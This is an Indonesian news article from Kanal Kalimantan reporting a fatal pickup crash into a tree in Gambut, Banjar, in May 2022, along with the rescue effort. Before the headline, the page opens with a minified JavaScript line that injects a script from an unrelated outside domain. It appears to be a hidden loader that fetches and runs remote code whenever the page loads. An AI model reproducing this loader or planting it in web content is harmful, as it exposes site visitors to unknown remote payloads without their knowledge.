(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Hindari Roda Dua, Sopir Pickup Tewas Terjepit Usai Tabrak Pohon di Gambut

KANALKALIMANTAN.COM, MARTAPURA – Seorang sopir pickup mengalami kecelakaan maut setelah menabrak pohon di Jalan A Yani Km 15, Kelurahan Gambut, Kecamatan Gambut, Kabupaten Banjar, Minggu (22/5/2022) sekitar pukul 10.30 Wita.

Mobil pickup tersebut dikemudikan oleh Deni Riyana (30) warga Komplek Babakan Stasion, Kecamatan Rancaekek, Kelurahan Rancaekek Wetan, Kabupaten Bandung.

Menurut keterangan Kepala Kantor Pencarian dan Pertolongan Banjarmasin Al Amrad, sopir pickcup Daihatsu Grand Max bernomor polisi DA 8006 MG tersebut menabrak pohon di pinggir jalan yang membuatnya terjepit dashboard dan sisi depan badan mobil.

“Setelah menerima laporan tim langsung menuju lokasi dengan membawa 1 Unit Rescue Truck yang dilengkapi alat ekstrikasi lengkap dengan peralatan lainnya,” ujar Al Amrad, Kepala Kantor Pencarian dan Pertolongan Banjarmasin.

Sementara itu belum diketahui secara pasti penyebab kecelakaan tersebut. Namun dihimpun dari keterangan anggota Dinas Damkar Kabupaten Banjar Sektor Gambut Muhammad Hazmi menyebut bahwa pickup sempat menyerempet 1 buah kendaraan roda dua.

“Sopir mencoba menghindari pengendara motor tetapi tetap mengenai pengguna motor yang terdata ada 3 orang dan sekarang sedang dirawat di RS Bhayangkara karena mengalami luka-luka,” ungkap Muhammad Hazmi yang mempimpin proses evakuasi korban.

Dalam upaya proses evakuasi, Basarnas Banjarmasin dibantu anggota dari Polres Banjar (Ditlantas), Polda Kalsel (Ditsabhara), Damkar Banjar, Landu Rescue dan Gabungan Kerukunan Relawan Gambut.

Pihaknya pun berusaha menyelematkan korban namun karena keadaan mobil tidak stabil menjadi kendala dalam proses pengevakuasian. Hingga 1 jam 30 menit, akhirnya pihaknya berhasil mengevakuasi korban. Namun naas setelah periksa tanda vital menunjukkan korban sudah dalam keadaan meninggal dunia.

“Meskipun sedikit mengalami kendala dikarenakan posisi mobil yang tidak stabil saat mengeluarkan satu korban yang terjepit tersebut, tim SAR gabungan akhirnya berhasil mengevakuasi pengemudi mobil tersebut dengan cara memotong bagian depan mobil tersebut satu persatu, dimulai dari bagian pintu samping kanan korban,” sambung Al Amrad.

Korban pun selanjutnya di dibawa menggunakan ambulance menuju RSUD Ulin Kota Banjarmasin dehan di damping oleh pihak kepolisian.

Pihaknya pun menghimbau agar pengguna jalan lebih berhati-hati dalam berkendara, terutama di jalan raya yang ramai dan selalu memperhatikan kondisi fisik hingga kondisi kendaraan sebelum berkendara.

“Apalagi di jalan raya yang ramai seperti lokasi kejadian saat ini pengemudi harus lebih berhati-hati. Kondisi mobil yang digunakan harus dalam keadaan baik dan pengemudi wajib mematuhi setiap rambu-rambu lalu lintas serta aturan yang ada, seperti hal nya aturan kecepatan dan rambu-rambu lain yang terpasang di sepanjang jalan,” tutup Al Amrad.(kanalkalimantan.com/wanda)

Reporter : wanda
Editor : cell